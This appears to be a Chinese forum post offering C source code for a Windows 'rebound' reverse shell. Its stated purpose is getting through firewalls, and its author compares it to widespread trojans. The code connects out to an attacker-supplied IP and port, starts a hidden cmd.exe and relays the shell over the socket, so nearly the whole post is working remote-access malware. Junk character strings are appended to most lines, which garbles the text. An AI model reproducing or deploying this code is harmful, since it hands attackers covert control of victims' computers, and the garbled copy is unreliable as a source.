这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xr7+$:>a
bsd99-_(4
/* ============================== $!5\E>y#
Rebound port in Windows NT bWZbG{Y.
By wind,2006/7 W5^.-B,(K
===============================*/ v4RlLgdS%
#include x+]!m/
#include XX1Il;1G#
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#pragma comment(lib,"wsock32.lib") T~fmk
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void OutputShell(); DI`%zLDcY
SOCKET sClient; NxVw!TsR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a=XW[TY1
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void main(int argc,char **argv) Sa"9^_.2#
{ Dfd-^N!
WSADATA stWsaData; SlSM+F
int nRet; .[u>V
SOCKADDR_IN stSaiClient,stSaiServer; g~BoFc.V2~
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if(argc != 3) ?<Y+peu
{ p#SY /KIw
printf("Useage:\n\rRebound DestIP DestPort\n"); 2Bk$ lx7
return; ;Nr ]X
} P ]i
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WSAStartup(MAKEWORD(2,2),&stWsaData); _SACqamo5s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5'w^@Rs5
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stSaiClient.sin_family = AF_INET; c9j*n;Q
stSaiClient.sin_port = htons(0); N~g:Wf!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BZb]SoAL
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f'q 28lVf
{ [+w3J#K
printf("Bind Socket Failed!\n"); CSV;+,Vv
return; +,50qN:%[
} {B*W\[ns
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stSaiServer.sin_family = AF_INET; hI pKJ&hm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9_fePS|Z4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wh:1PP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) * MM[u75
{ }X;U|]d
printf("Connect Error!"); qn"D#K'&(
return; Dml*T(WM>
} XJ!(F#zc
OutputShell(); iqhOi|!
} G5D2oQa=8
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void OutputShell() /D_+{dtE
{ 0W`LVue
char szBuff[1024]; _{jP;W
SECURITY_ATTRIBUTES stSecurityAttributes; sA9&/p/
OSVERSIONINFO stOsversionInfo; ^MD;"A<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8hA^`Y
STARTUPINFO stStartupInfo; Fg/dS6=n`?
char *szShell; XYx6V
PROCESS_INFORMATION stProcessInformation; gPzL*6OSA
unsigned long lBytesRead; NZu)j["
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7@a 0$coP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ni
stSecurityAttributes.lpSecurityDescriptor = 0; aFY_:.o2k`
stSecurityAttributes.bInheritHandle = TRUE; cgC\mM4Nla
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XE}H 3/2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %o?IsIys
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Lt#'W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sx]
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stStartupInfo.wShowWindow = SW_HIDE; SbsouGD,{
stStartupInfo.hStdInput = hReadPipe; 'mdM q=VI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oKFT?"[X
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GetVersionEx(&stOsversionInfo); O`cu_
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switch(stOsversionInfo.dwPlatformId) RV-h IdAU
{ ? 81X
case 1: '?o9VrO
szShell = "command.com"; Wv!<bT8r
break; N0n^L|(R
default: d~ng6pA
szShell = "cmd.exe"; nY `2uN~9
break; #>@z
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} 5;)*T6Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AF4?IH
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send(sClient,szMsg,77,0); tPHS98y
while(1) DE{h5-g
{ ZF#Rej?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o%M<-l"!/
if(lBytesRead) Bk|K%K
{ Jx-wO/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WV kR56
send(sClient,szBuff,lBytesRead,0); iO!6}yJ*V
} ++[5q+b
else (L6Cy%KgV
{ y[0`hSQ)~
lBytesRead=recv(sClient,szBuff,1024,0); j<tq1?? [b
if(lBytesRead<=0) break; eukA[nO7G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !- ~X?s~L
} \tJFAc
} 7z~Ghz
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return; OIaYHA
}